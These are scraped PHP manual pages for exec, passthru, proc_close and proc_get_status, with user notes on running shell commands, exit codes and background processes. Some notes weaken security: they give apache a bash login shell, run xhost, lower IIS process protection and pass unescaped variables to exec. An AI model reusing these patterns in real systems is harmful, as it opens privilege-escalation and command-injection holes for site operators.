$command = "tout_controller <tout> <command_name> <command_args>"
exec($command,$status);
echo "Exit status code of command is $status";
...
?>

I've noticed that exit status code returned from a C process is a "special" integer.

I wanted "command" exit status code to be returned to controller, and then controller to exit with same status code (to get this status from PHP).
Exit status was always 0 !!!

To solve this, i've found a C macro to use inside tout_controller:

<C code snippet>
..
waitpid(pid,&status,0); // wait for process that execs COMMAND
..
//exit(status); // that doesn't work
exit(WEXITSTATUS(ret)); // that's ok
..
</C code snippet>

It isn't exactly a PHP note, but may be useful to help some desperated programmer's ;)
amandato (at) gmail (period) com 06-Dec-2005 09:51
Running a command that may never time out on a windows server inspired the following code.  The PsExecute() function allows you to run a command and make it time out after a set period of time.  The sleep parameter is the number of seconds the script will pause becore checking if the process is complete.

Code utilizes the PsTools, found here: http://www.sysinternals.com/ntw2k/freeware/pstools.shtml

Copy and paste the following code into an include file:
<?php
// pstools.inc.php

    function PsExecute($command, $timeout = 60, $sleep = 2) {
        // First, execute the process, get the process ID
        $pid = PsExec($command);

        if( $pid === false )
            return false;

        $cur = 0;
        // Second, loop for $timeout seconds checking if process is running
        while( $cur < $timeout ) {
            sleep($sleep);
            $cur += $sleep;
            // If process is no longer running, return true;
            if( !PsExists($pid) )
                return true; // Process must have exited, success!
        }

        // If process is still running after timeout, kill the process and return false
        PsKill($pid);
        return false;
    }

    function PsExec($command) {
        exec( dirname(__FILE__). "\\psexec.exe -s -d $command  2>&1", $output);

        while( list(,$row) = each($output) ) {
            $found = stripos($row, 'with process ID ');
            if( $found )
                return substr($row, $found, strlen($row)-$found-strlen('with process ID ')-1); // chop off last character '.' from line
        }

        return false;
    }

    function PsExists($pid) {
        exec( dirname(__FILE__). "\\pslist.exe $pid 2>&1", $output);

        while( list(,$row) = each($output) ) {
            $found = stristr($row, "process $pid was not found");
            if( $found !== false )
                return false;
        }

        return true;
    }

    function PsKill($pid) {
        exec( dirname(__FILE__). "\\pskill.exe $pid", $output);
    }
?>

Place the above include file and the PsTools from (http://www.sysinternals.com/ntw2k/freeware/pstools.shtml) in the same directory.
simoncpu 30-Nov-2005 08:48
Sometimes, it is convenient to let exec() return the status of the executed command, rather than return the last line from the result of that command.  In Unix, just do:

    $ret = exec('foo; echo $?');

Remember not to overdo it though. ;)

[ simon.cpu ]
Bob-PHP at HamsterRepublic dot com 18-Oct-2005 08:00
exec strips trailing whitespace off the output of a command. This makes it impossible to capture signifigant whitespace. For example, suppose that a program outputs columns of tab-delimited text, and the last column contains empty fields on some lines. The trailing tabs are important, but get thrown away.

If you need to preserve trialing whitespace, you must use popen() instead.
clive at pluton dot co dot uk 15-Oct-2005 12:35
When trying to run an external command-line application in Windows 2000 (Using IIS), I found that it was behaving differently from when I manually ran it from a DOS prompt.

Turned out to be an issue with the process protection. Actually, it wasn't the application itself that was having the problem but one it ran below it! To fix it, open computer management, right-click on Default Web Site, select the Home Directory tab and change Application Protection to 'Low (IIS Process)'.

Note, this is a rather dangerous thing to do, but in cases where it's the only option...
rivera at spamjoy dot unr dot edu 06-Oct-2005 10:17
windExec() reloaded:
* unique timestamp name was probably a good idea for multiple instances of function running @ same time
* includes handy FG/BG parameter

<?php
define ('EXEC_TMP_DIR', 'C:\tmp');

function windExec($cmd,$mode=''){
    // runs a command line and returns
    // the output even for Wind XP SP2
    // example: $cmd = "fullpath.exe -arg1 -arg2"
    // $outputString = windExec($cmd, "FG");
    // OR windExec($cmd);
    // (no output since it runs in BG by default)
    // for output requires that EXEC_TMP_DIR be defined

    // Setup the command to run from "run"
    $cmdline = "cmd /C $cmd";

    // set-up the output and mode
    if ($mode=='FG'){
        $outputfile = EXEC_TMP_DIR . "\\" . time() . ".txt";
        $cmdline .= " > $outputfile";
        $m = true;
    }
    else $m = false;

    // Make a new instance of the COM object
    $WshShell = new COM("WScript.Shell");

    // Make the command window but dont show it.
    $oExec = $WshShell->Run($cmdline, 0, $m);

    if ($outputfile){
        // Read the tmp file.
        $retStr = file_get_contents($outputfile);
        // Delete the temp_file.
        unlink($outputfile);
    }
    else $retStr = "";

    return $retStr;
}
ewilde 21-Sep-2005 01:55
To my way of thinking, it is a good idea to execute programs from the cgi-bin directory of the Web server, to get a little control over configuring a system (at install time, a pointer to the actual program can be symlinked from the cgi-bin directory and the code won't ever have to be changed).  If you'd like to do this, under Apache at least, the following should work:

<?php
  if (!($ProgInfo = apache_lookup_uri(/cgi-bin/myprog)))
    $ProgPath = /usr/bin/myprog;
  else
    {
    if (is_object($ProgInfo)) $ProgPath = $ProgInfo->filename;
    else $ProgPath = $ProgInfo["filename"];
    }

exec("$ProgPath ...");
?>
mbirth at webwriters.de 14-Sep-2005 08:42
I had to combine many PDFs into a single one using pdftk and did this by writing the commands into a batch file and running it with exec('cmd /c blabla.cmd').

Using batch files under Windows, there's a line-length-limit of 1024 characters. So I made sure each line in the batch file doesn't exceed 1024 characters.

I now switched over to using exec('start /b ...') directly with the desired command (instead of writing it into a batch file and calling that) and played around with the line-length. Seems like the exec() command works with command-strings of up to 4096 characters in length. If the string is longer, it won't be executed.
CJ [AT] TBG 08-Sep-2005 07:41
[EXEC] on [Windows]

Finally a simple way to get exec working w/o launching a black box window.

just do: exec('start /B "window_name" "path to your exe"',$output,$return);

The important part is the /B which makes it run in the background.
vdweij at hotmail dot com 09-Aug-2005 01:18
It is possible to only capture the error stream (STERR). Here it goes...

(some_command par1 par2 > /dev/null) 3>&1 1>&2 2>&3

-First STDOUT is redirected to /dev/null.
-By using parenthesis it is possible to gain control over STERR and STOUT again.
-Then switch STERR with STOUT.

The switch is using the standard variable switch method -- 3 variables (buckets) are required to swap 2 variables with each other. (you have 2 variables and you need to switch the contents - you must bring in a 3rd temporary variable to hold the contents of one value so you can properly swap them).

This link gave me this information:
http://www.cpqlinux.com/redirect.html
netshadow at madpoets dot org 05-Apr-2005 04:13
For Win2k/XP systems, and probably NT as well, after beating my head against a wall for a few days on this, I finally found a foolproof way of backgrounding processes and continuing the script.

For some strange reason I just could not seem to get backgrounding to work with either system or exec, or with the wsh.run method for that matter.  I have used all three in the past with success, but it just wasn't happening this time.

What I finally wound up doing was using psexec from the pstools package found at http://www.sysinternals.com/ntw2k/freeware/pstools.shtml

You would use it like:

exec("psexec -d blah.bat");

which will start and immediately background blah.bat and immediately resume running the rest of the php script.
bitminer at example dot com 19-Mar-2005 07:24
I am posting this as I see quite a few people looking to create a web based interface to their MP3 player (XMMS or really what ever you want to call from the command line) on Linux.  Alas, I am not the only one, and  I did not think of it first ( suppose I have to result to other get rich quick schemes).  And even if there were a direct downloadable utility (as there is XMMS-Control) you, like me, probably want the bowl of porage that is just right.  Which means you want to make your own because current versions of X, Y, or Z just don't do what you want.

Most of the hard work is at the linux command shell (ugh! - I heard that!  Drop and give me 20 command line scripts!)

login as root

ensure /dev/dsp has the proper access privileges
chmod a+rw /dev/dsp

add apache to the local list of users for the xserver.
xhost +local:apache@

You should see the following if apache is not added to the xserver.

Xlib: connection to ":0.0" refused by server
Xlib: No protocol specified

** CRITICAL **: Unable to open display

And I am sure that error is as clear to you as it was to me!

NOTE !!! only change the following for testing purposes so that you can su to apache from root and test xmms !!!!

Temporarily change the line

apache:x:48:48:Apache:/var/www:/sbin/nologin

To
apache:x:48:48:Apache:/var/www:/bin/bash

so that you can test out apache access to the Xserver and XMMS.

su apache
xmms
!!! Play a file - Don't just read this actually play a file!!!  The reason is that if it fails xmms will likely give an error you can track down like a greyhound chases that little bunny at the dog track! (speaking of get rich quick schemes)

And for the grand finale!

If you can call xmms from the command line you can likely do the following (unless you are running php in safe mode).  Ensure that the wav, mp3, or whatever you decide to test it with is accessible to apache.  I put the file into /var/www/html/icould.wav and chmod a+rw icould.wav

<?php
echo ' Executing XMMS ';
// note you could use system too!
//echo system( '/usr/bin/xmms --play icould.wav', $retval );
exec ('/usr/bin/xmms --play icould.wav');
?>

At your browser ensure you hit shift+refresh(button) so your browser doesn't give you a cahed the web page.

Brian J. Davis
david houlder 22-Feb-2005 12:47
The note regarding how exec() works under safe_mode is wrong.

echo y | echo x does not become echo "y | echo x". It essentially becomes echo "y" "|" "echo" "x". The entire string is  passed through escapeshellcmd(), which effectively splits arguments at spaces. Note that this makes it impossible to reliably pass arguments containing spaces to exec() in safe_mode. Since 4.3.3 escapeshellcmd() tries to pass quoted arguments through (so you could try exec("cmd 'arg 1' 'arg 2'")), but not on win32, and will still wrongly backslash escape any punctuation characters inside the quotes.

Not only can the path not contain '..' components, but no directory or filename can contain the string '..'. e.g. /path/to/my..executable will refuse to run.
layton at layton dot tk 19-Jan-2005 12:52
This is the second time this one got me, I thought someone else might find this note useful too.

I am creating a long running exec'd process that I can access with page submissions up to 2 hours later. The problem is this, the first time I access the page everything works like it should. The second time the web browser waits and waits and never gets any messages -- the CPU time is not affected so it is apparent that something is blocked.

What is actually happening is that all of the open files are being copied to the exec'd process -- including the network connections. So the second time I try to access the web page, I am being given the old http network connection which is now being ignored.

The solution is to scan all file handles from 3 on up and close them all. Remember that handles 0, 1, and 2 are standard input, standard output, and standard error.
13-Jan-2005 01:38
I wanted my script to:

* execute an external command.
* check if the execution was ok. (i.e. the return level)
* log the error output if the execution wasn't ok.
* not print the command's output in my script's output.

I saw the exec, system, shell_exec and passthru functions, and deduced that the solution was to redirect the standard error (stderr) to the standard output (stdout). It's not very clean, since it mixes stderr with stdout, and I only wanted to log the stderr. But it seems to be the only solution (suggestions are welcome).

This is the code I use:

<?php

$com= "ls";     # command

exec("$com 2>&1", $out, $err);
if ($err) my_log_func(join("\n", $out));

?>
php-contrib at i-ps dot net 12-Oct-2004 03:30
I had a bit of trouble using exec with Windows when passing a parameter to a PHP script file. I found I needed to create a Windows batch "wrapper" file to get the script file to accept the optional argument.

1) PHP script file exists:
  c:\www\script.php

2) PHP is installed in:
  c:\www\php\

3) BAT file contains:
  @c:\www\php\cli\php.exe c:\www\script.php %1

and is saved as:
  c:\www\script.bat

4) Use exec statement from PHP:
  exec("c:\www\script.bat $arg", $output);

If you want to pass more than one argument, carry on with %2, %3, %4, ..., ... in your BAT file.

Hope this helps somebody
msheakoski @t yahoo d@t com 08-Jul-2004 05:40
I too wrestled with getting a program to run in the background in Windows while the script continues to execute.  This method unlike the other solutions allows you to start any program minimized, maximized, or with no window at all.  llbra@phpbrasil's solution does work but it sometimes produces an unwanted window on the desktop when you really want the task to run hidden.

start Notepad.exe minimized in the background:

<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("notepad.exe", 7, false);
?>

start a shell command invisible in the background:
<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("cmd /C dir /S %windir%", 0, false);
?>

start MSPaint maximized and wait for you to close it before continuing the script:
<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("mspaint.exe", 3, true);
?>

For more info on the Run() method go to:
http://msdn.microsoft.com/library/en-us/script56/html/wsMthRun.asp
until-june-04 at daniu dot de 14-May-2004 12:27
Hi!

I just want to add a note to the function "jonas DOT info AT gmx DOT net" contributed to keep processes running in the background.

Not like with the other exec/system/passthru etc. functions if you want to execute a batch file on a MS-machine you need to add a simple exit in the last line of your batch-file otherwise the CMD task does not close and your server will be filled with dead processes ... No idea what happens with other programs .
nehle at dragonball-se dot com 21-Oct-2003 11:59
Remember that some shell commands in *NIX needs you to set a TERM enviroment. For example:
<?php
exec('top n 1 b i', $top, $error );
echo nl2br(implode("\n",$top));
if ($error){
    exec('/usr/bin/top n 1 b 2>&1', $error );
    echo "Error: ";
    exit($error[0]);
}
?>
This will echo "Error: TERM enviroment variable not set. " To fix it, add  TERM=xterm (Or some other terminal) to the exec-statement, like this

<?php
exec('TERM=xterm /usr/bin/top n 1 b i', $top, $error );
echo nl2br(implode("\n",$top));
if ($error){
    exec('TERM=xterm /usr/bin/top n 1 b 2>&1', $error );
    echo "Error: ";
    exit($error[0]);
}
?>
colet at putnamhill dot net 27-Sep-2003 12:34
Technique for debuging php in *nix environments:

SSH to your php directory and enter the following:

   mkfifo -m 772 .debug
   tail -f .debug

Now in your php scripts direct debug messages to the debug FIFO with:

   exec("echo \"Some debug statement or $var\" > .debug");

When the php executes, you can watch the output in your terminal app.

This is helpful in situations where it's awkward to debug in a browser (i.e. header commands).
mauroi at digbang dot com 03-Sep-2003 06:18
Well, after hours of fighting with output redirection, input redirection, error redirection, session_write_close (), blah blah blah, I think I found an easy way to execute a program in background. I used the following command:

Proc_Close (Proc_Open ("./command --foo=1 &", Array (), $foo));

With the second argument you tell proc_open not to open any pipe to the new process, so you don't have to worry about anything. The third argument is only needed because it's not optional. Also, with the '&' operator the program runs in background so the control is returned to PHP as soon as Proc_Close is executed (it doesn't have to wait).
In my case I don't use the user session in the executed script (there's no way it can be identified if it is not sended as a cookie or URL) so there's no need for session_write_close (correct me if I'm wrong with this).
It worked for me.
matt at nexxmedia dot com 11-Jun-2003 10:38
[ Editor's note: When passing multiple args in a URL like this, be sure to enclose the URL in quotes otherwise the & will be interpreted as a detachment flag and the rest of the command will be truncated. ]

The lynx browser can be used as simple way of executing a script from a remote location without waiting for it to complete:

$command = "/usr/bin/lynx -dump https://www.anotherserver.com?var=blah >/dev/null &";
exec($command);
marc at thewebguys dot com dot au 26-Feb-2003 04:51
I wrote a simple ping user function, useful for automatically determining wether to show high bandwidth content or calculating download times.

<?php
function PingUser() {
  global $REMOTE_ADDR;
  return ereg_replace(" ms","",end(explode("/",exec("ping -q -c 1 $REMOTE_ADDR"))));
  }
?>

It returns a number representing the milli seconds it took to send and receive packets from the user.
iceburn at dangerzone dot c o m 10-Sep-2002 02:20
This seems to work for me on win2k server w/ iis 5  w/ php 4.2.2....

<?php
if(getenv("OS")!="Windows_NT")
 {
  echo "This script runs only under Windows NT";
 }

 $tmp = exec("usrstat.exe Domain", $results);

foreach ($ping_results as $row) echo $row . "<br>";
 echo "done";
?>

For those that don't know what usrstat is, it's a program that is the admin pack for win2k that lists users in a domain and thier last logon time.  I used it as the example to show that arguments can be passed (the domain).

The one "gotcha" is that usrstat.exe must be in the system path...ie if you are at the server w/ a command window, anything you can type w/o typing in a path, works.  Try it with ping, since that should be in system32 for just about everyone...

I've tried things like:
exec("c:\temp\usrstatexe...
exec("cmd /c c:\temp\usrstat.exe...

but can't seem to get anywhere with those...

even putting the exe on a shared drive with identical paths for the client and server to the exe doesn't work (don't know why that would fix it, but was just trying things...)
ronperrella at NOSPAM dot hotmail dot com 06-Aug-2002 08:04
I ran into the problem of not being able to set environment variables for my kornshell scripts. In other words, I could not use putenv() (at least to my understanding).

The solution I used was to write a script on the fly, then execute that script using exec().

<?php
$prgfile = tempnam("/tmp", "SH");
chmod($prgfile, 0755);
$fp = fopen($prgfile, "w");
fwrite($fp, "#!/bin/ksh\n");
fwrite($fp, "export MYENV=MYVALUE\n");
fwrite($fp, "ls -l\n"); // or whatever you wanna run
fclose($fp);
exec($prgfile, $output, $rc);
?>

then delete the temp file (I keep it around for debugging.)
me at jcornelius dot com 15-May-2002 07:06
Note that when in 'Safe Mode' you must have the script or program you are trying to execute in the 'safe_mode_exec_dir'. You can find out what this directory is by using phpinfo().
hans at internit dot NO_SPAM dot com 02-Feb-2002 11:25
From what I've gathered asking around, there is no way to pass back a perl array into a php script using the exec function.

The suggestion is to just print out your perl array variables at the end of your script, and then grabbing each array member from the array returned by the exec function. If you will be passing multiple arrays, or if you need to keep track of array keys as well as values, then as you print each array or hash variable at the end of your perl script, you should concatenate the value with the key and array name, using an underscore, as in:

foreach (@array) print "(array name)_(member_key)_($_)" ;

Then you would simply iterate through the array returned by the exec function, and split each variable along the underscore.

Here I like to especially thank Marat for the knowledge. Hope this is useful to others in search for similar answer!
bens_nospam at benjamindsmith dot com 15-Feb-2001 10:19
ON A LINUX SYSTEM:

Note that the exec() function calls the program DIRECTLY without any intermediate shell. Compare this with the backtick operator that executes a shell which then calls the program you ask for.

This makes the most difference when you are trying to pass complex variables to the program you are trying to execute - the shell can interpret your parameters before passing them thru to the program being called - making a dog's breakfast of your input stream.

Remember: exec() calls the program DIRECTLY - the backtick (and, I THINK, the system() call) execute the program thru a shell.

-Ben


Execute an external program and display raw output

  • « exec
  • proc_close »
  • PHP Manual
  • Program execution Functions
  • Execute an external program and display raw output

passthru

(PHP 4, PHP 5)

passthru — Execute an external program and display raw output

Description

void passthru ( string $command [, int &$return_var ] )

The passthru() function is similar to the exec() function in that it executes a command. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser. A common use for this is to execute something like the pbmplus utilities that can output an image stream directly. By setting the Content-type to image/gif and then calling a pbmplus program to output a gif, you can create PHP scripts that output images directly.

Parameters

command

The command that will be executed.

return_var

If the return_var argument is present, the return status of the Unix command will be placed here.

Return Values

No value is returned.

Notes

Warning

When allowing user-supplied data to be passed to this function, use escapeshellarg() or escapeshellcmd() to ensure that users cannot trick the system into executing arbitrary commands.

Note:

If a program is started with this function, in order for it to continue running in the background, the output of the program must be redirected to a file or another output stream. Failing to do so will cause PHP to hang until the execution of the program ends.

Note: When safe mode is enabled, you can only execute files within the safe_mode_exec_dir. For practical reasons, it is currently not allowed to have .. components in the path to the executable.

Warning

With safe mode enabled, the command string is escaped with escapeshellcmd(). Thus, echo y | echo x becomes echo y \| echo x.

See Also

  • exec() - Execute an external program
  • system() - Execute an external program and display the output
  • popen() - Opens process file pointer
  • escapeshellcmd() - Escape shell metacharacters
  • backtick operator

User Contributed Notes

myselfasunder at gmail dot com dot dfvuks 29-Nov-2010 10:00
PHP's program-execution commands fail miserably when it comes to STDERR, and the proc_open() command doesn't work all that consistently in non-blocking mode under Windows.

This command, although useful, is no different. To form a mechanism that will see/capture both STDOUT and STDERR output, pipe the command to the 'tee' command (which can be found for Windows), and wrap the whole thing in output buffering.

Dustin Oprea
Chroot 29-Jul-2008 06:48
If you have chrooted apache and php, you will also want to put /bin/sh into the chrooted environment. Otherwise, the exec() or passthru() will not function properly, and will produce error code 127, file not found.
jo at durchholz dot org 22-Nov-2007 09:17
Note to Paul Giblock: the command *is* run through the shell.
You can verify this on any Linux system with

<?php
passthru ('echo $PATH');
?>

You'll get the content of the PATH environment variable, not the string $PATH.
Paul Giblock 18-May-2007 08:30
Stuart:

The pasthru function does not execute the program through the shell.  What this mean, among other things, is that your PATH variable is never set.  Therefore, you have to use full paths on everything.

I believe system() will run your program underneith a shell.  This allow the program to run in a 'normal' environment.

-Paul
nuker at list dot ru 03-Jan-2006 02:51
I wrote function, that gets proxy server value from the Internet Explorer (from
registry). It was tested in Windows XP Pro

(Sorry for my English)

<?php
function getProxyFromIE()
{
        exec("reg query \"HKEY_CURRENT_USER\Software\Microsoft".
        "\Windows\CurrentVersion\Internet Settings\" /v ProxyEnable",
        $proxyenable,$proxyenable_status);

        exec("reg query \"HKEY_CURRENT_USER\Software\Microsoft".
        "\Windows\CurrentVersion\Internet Settings\" /v ProxyServer",
        $proxyserver);

        if($proxyenable_status!=0)
        return false; #Can't access the registry! Very very bad...
        else
        {
        $enabled=substr($proxyenable[4],-1,1);
        if($enabled==0)
        return false;
        else
        {
        $proxy=ereg_replace("^[ \t]{1,10}ProxyServer\tREG_SZ[ \t]{1,20}","",
        $proxyserver[4]);

        if(ereg("[\=\;]",$proxy))
        {
             $proxy=explode(";",$proxy);
             foreach($proxy as $i => $v)
             {
                   if(ereg("http",$v))
                   {
                   $proxy=str_replace("http=","",$v);
                   break;
                   }
             }
             if(@!ereg("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:".
             "[0-9]{1,5}$",$proxy))
             return false;
             else
             return $proxy;
        }
        else
        return $proxy;
        }

        }
}
?>
Note, that this function returns FALSE if proxy is disabled in Internet
Explorer. This function returns ONLY HTTP proxy server.

Usage:
<?php
$proxy=getProxyFromIE();
if(!$proxy)
echo "Can't get proxy!";
else
echo $proxy;
?>
Stuart Eve 08-Dec-2005 08:24
I dunno if anyone else might find this useful, but when I was trying to use the passthru() command on Suse9.3 I was having no success with the command:

$command = 'gdal_translate blahahahaha';

passthru($command);

It only worked once I put:

$command = '/usr/bin/local/gdal_translate blalalala';

passthru($command);
vijayramanan at rediffmail dot com 13-Oct-2005 12:09
I had an issue when i used exec

I think we were echoing information on the test.php script.
for eg: when we tried

exec(php test.php,$array,$error);

the return was 127 and the code was failing.

checking the note on this page gave us a hint to use passthru instead.
The only thing to note is that you need to provide the fuull path.

now our command became

passthru(/bin/php /pathtotest/test.php,$array,$error);

this works.

yipeee!!!!!
stuartc1 at NOSPAM dot hotmail dot com 09-Aug-2005 04:52
Thought it might beuseful to note the passthru seems to supress error messages whilst being run in Dos on Windows (test on NT).

To show FULL raw output including errors, use system().
igor at bboy dot ru 23-Jun-2005 10:33
If you are using passthru() to download files (for dynamically generated content or something outside webserver root) using similar code:

header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"myfile.zip\"");
header("Content-Length: 11111");
passthru("cat myfile.zip",$err);

and your download goes fine, but subsequent downloads / link clicks are screwed up, with headers and binary data being all over the website, try putting

exit();

after the passthrough. This will exit the script after the download is done and will not interfere with any future actions.
sarel dot w at envent dot co dot za 09-Mar-2005 08:33
Zak Estrada
14-Dec-2004 11:21
Remember to use the full path (IE '/usr/local/bin/foo' instead of 'foo') when using passthru, otherwise you'll get an exit code of 127 (command not found).

Remember, you'll also get this error if your file does not have executable permission.
puppy at cyberpuppy dot org 02-Mar-2005 11:50
Regarding swbrown's comment...you need to use an output buffer if you don't want the data displayed.

For example:
ob_start();
passthru("<i>command</i>");
$var = ob_get_contents();
ob_end_clean(); //Use this instead of ob_flush()

This gets all the output from the command, and exits without sending any data to stdout.
Zak Estrada 14-Dec-2004 05:21
Remember to use the full path (IE '/usr/local/bin/foo' instead of 'foo') when using passthru, otherwise you'll get an exit code of 127 (command not found).
php @ richud dot com 27-May-2004 05:30
Regarding kpierre's post, be mindful that if you shell script errors, you will find the error output from it in the base error_log file (not virtualhost error_log) in apache.
jcr at marvel-databadge dot com 04-Sep-2003 08:23
With apache 2.x on RH9 passthru() writes 1 byte at a time. Apache 2.x buffers and chunk encodes the output for you - but the chunked encoding devides the output in chunks of 1 byte each...thus several bytes of overhead per byte. I guess that buffering behaviour is by design - but caused problems for me with IE adobe acrobot 5 plugin. The plugin doesn't like like it if you send it a stream of 1 byte chunks - it tells you your file is not a pdf or gives a blank screen. Using output buffering (ob_start / ob_endflush) gives reasonable size chunks and the plugin works OK.
swbrown at ucsd dot edu 04-Jun-2003 05:41
passthru() seems absolutely determined to buffer output no matter what you do, even with ob_implicit_flush().  The solution seems to be to use popen() instead.
kpierre at fit dot edu 30-Jan-2002 04:35
The documention does not mention that passthru() will only display standard output and not standard error.

If you are running a script you can pipe the STDERR to STDOUT by doing

exec 2>&1

Eg. the script below will actually print something with the passthru() function...

#!/bin/sh
exec 2>&1
ulimit -t 60
cat nosuchfile.txt
andreas dot hochsteger at oeamtc dot at 03-Oct-2001 04:51
If you sometimes get no output from passthru() use system() instead. This solved this problem for me (php 4.0.5 on Tru64 Unix compiled with gcc).
sidney at jigsaw dot nl 21-Jun-2001 02:25
PJ's ulimit example is nice; however, if you include multiple commands in the script after the ulimit command, each gets its own, seperate 60 second time slot!<br>

Furthermore, these sixty seconds are *CPU* time. Most programs hang for other reasons than CPU hogging (for example, waiting for a database connection) so for most purposes the number 60 is rather too high.<br>

Try "ulimit -t 1" first, which will give you about 10^9 cycles on modern hardware -- quite enough to get a lot of work done!
PJ at piggei dot com 15-Feb-2001 02:06
About the problem of zombies, you may call a bash script like this:

--------------------------
#! /bin/bash
ulimit -t 60

<your command here>
--------------------------


Close a process opened by proc_open and return the exit code of that process

  • « passthru
  • proc_get_status »
  • PHP Manual
  • Program execution Functions
  • Close a process opened by proc_open and return the exit code of that process

proc_close

(PHP 4 >= 4.3.0, PHP 5)

proc_close — Close a process opened by proc_open() and return the exit code of that process

Description

int proc_close ( resource $process )

proc_close() is similar to pclose() except that it only works on processes opened by proc_open(). proc_close() waits for the process to terminate, and returns its exit code. If you have open pipes to that process, you should fclose() them prior to calling this function in order to avoid a deadlock - the child process may not be able to exit while the pipes are open.

Parameters

process

The proc_open() resource that will be closed.

Return Values

Returns the termination status of the process that was run. In case of an error then -1 is returned.

User Contributed Notes

morrisdavidd at gmail dot com 05-Jun-2008 01:41
Consider the following pseudo code:

$SOME_PROCESS = proc_open(/* something here */);
...
$status = proc_get_status($SOME_PROCESS);
...
$exitCode = proc_close($SOME_PROCESS);

If the external program has exited on its own before the call to proc_get_status, then $exitCode == -1

So consider using:
$actualExitCode = ($status["running"] ? $exitCode : $status["exitcode"] );
ashnazg at php dot net 05-Oct-2007 11:25
It seems that if you configured --enable-sigchild when you compiled PHP (which from my reading is required for you to use Oracle stuff), then return codes from proc_close() cannot be trusted.

Using proc_open's Example 1998's code on versions I have of PHP4 (4.4.7) and PHP5 (5.2.4), the return code is always "-1".  This is also the only return code I can cause by running other shell commands whether they succeed or fail.

I don't see this caveat mentioned anywhere except on this old bug report -- http://bugs.php.net/bug.php?id=29123
oohay251 at yahoo dot com 15-Sep-2005 04:06
From various Internet posts and recent experience, I have observed that you cannot rely on proc_close returning the accurate return code of the child process. The return code also depends on wether or not you read from the stdout/stderr pipes, as my example shows. I work around this by writing the exit code to an additional file descriptor.

<?
$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
    );
    $proc = @proc_open("/bin/ls -l /etc/passwd", $descriptorspec, $pipes);
    fclose($pipes[0]);
    $output = array();
    while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
    fclose($pipes[1]);
    while (!feof($pipes[2])) array_push($output, rtrim(fgets($pipes[2],1024),"\n"));
    fclose($pipes[2]);
    $exit=proc_close($proc);
    print_r($output);
    echo "exitcode $exit\n\n";

$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
    );
    $proc = @proc_open("/bin/ls -l /etc/passwd", $descriptorspec, $pipes);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    $exit=proc_close($proc);
    echo "exitcode $exit\n\n";

$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
       3 => array('pipe', 'w'), // stderr is a pipe that the child will write to
    );
    $proc = @proc_open("/bin/ls -l /etc/passwd;echo $? >&3", $descriptorspec, $pipes);
    fclose($pipes[0]);
    $output = array();
    //comment next line to get correct exicode
    while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
    fclose($pipes[1]);
    while (!feof($pipes[2])) array_push($output, rtrim(fgets($pipes[2],1024),"\n"));
    fclose($pipes[2]);
    if (!feof($pipes[3])) $output['exitcode']=rtrim(fgets($pipes[3],5),"\n");
    fclose($pipes[3]);
    proc_close($proc);
    print_r($output);
?>

Outputs on my system:

Array
(
    [0] => -rw-r--r--  1 root root 1460 2005-09-02 09:52 /etc/passwd
    [1] =>
    [2] =>
)
exitcode -1

exitcode 1

Array
(
    [0] => -rw-r--r--  1 root root 1460 2005-09-02 09:52 /etc/passwd
    [1] =>
    [2] =>
    [exitcode] => 0
)
sergey1369 at narod dot ru 29-Aug-2003 12:16
Under PHP/4.3.3RC2, in case of two processes
these function may hangs. Work around is not use
proc_close, or put it after all fcloses done.

For example, this code hangs.

$ph1 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes1);
$ph2 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes2);

fclose($pipes1[0]); fclose($pipes1[1]); proc_close($ph1);
fclose($pipes2[0]); fclose($pipes2[1]); proc_close($ph2);

This code worked for me:

$ph1 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes1);
$ph2 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes2);

fclose($pipes1[0]); fclose($pipes1[1]);
fclose($pipes2[0]); fclose($pipes2[1]);
proc_close($ph1); proc_close($ph2);


Get information about a process opened by proc_open

  • « proc_close
  • proc_nice »
  • PHP Manual
  • Program execution Functions
  • Get information about a process opened by proc_open

proc_get_status

(PHP 5)

proc_get_status — Get information about a process opened by proc_open()

Description

array proc_get_status ( resource $process )

proc_get_status() fetches data about a process opened using proc_open().

Parameters

process

The proc_open() resource that will be evaluated.

Return Values

An array of collected information on success, and FALSE on failure. The returned array contains the following elements:

element | type | description
command | string | The command string that was passed to proc_open().
pid | int | process id
running | bool | TRUE if the process is still running, FALSE if it has terminated.
signaled | bool | TRUE if the child process has been terminated by an uncaught signal. Always set to FALSE on Windows.
stopped | bool | TRUE if the child process has been stopped by a signal. Always set to FALSE on Windows.
exitcode | int | The exit code returned by the process (which is only meaningful if running is FALSE). Only first call of this function return real value, next calls return -1.
termsig | int | The number of the signal that caused the child process to terminate its execution (only meaningful if signaled is TRUE).
stopsig | int | The number of the signal that caused the child process to stop its execution (only meaningful if stopped is TRUE).

See Also

  • proc_open() - Execute a command and open file pointers for input/output

User Contributed Notes

Lachlan Mulcahy 30-Mar-2011 08:40
It is worth noting that proc_get_status will continue to indicate the process that you spawned is running (because it is!) until that process has been able to write everything it wants to write to the STDOUT and STDERR streams.

PHP seems to use a buffer for this and so the spawned process can can get it's write calls to return immediately.

However, once this buffer is full the write call will block until you read out some of the information from the stream/pipe.

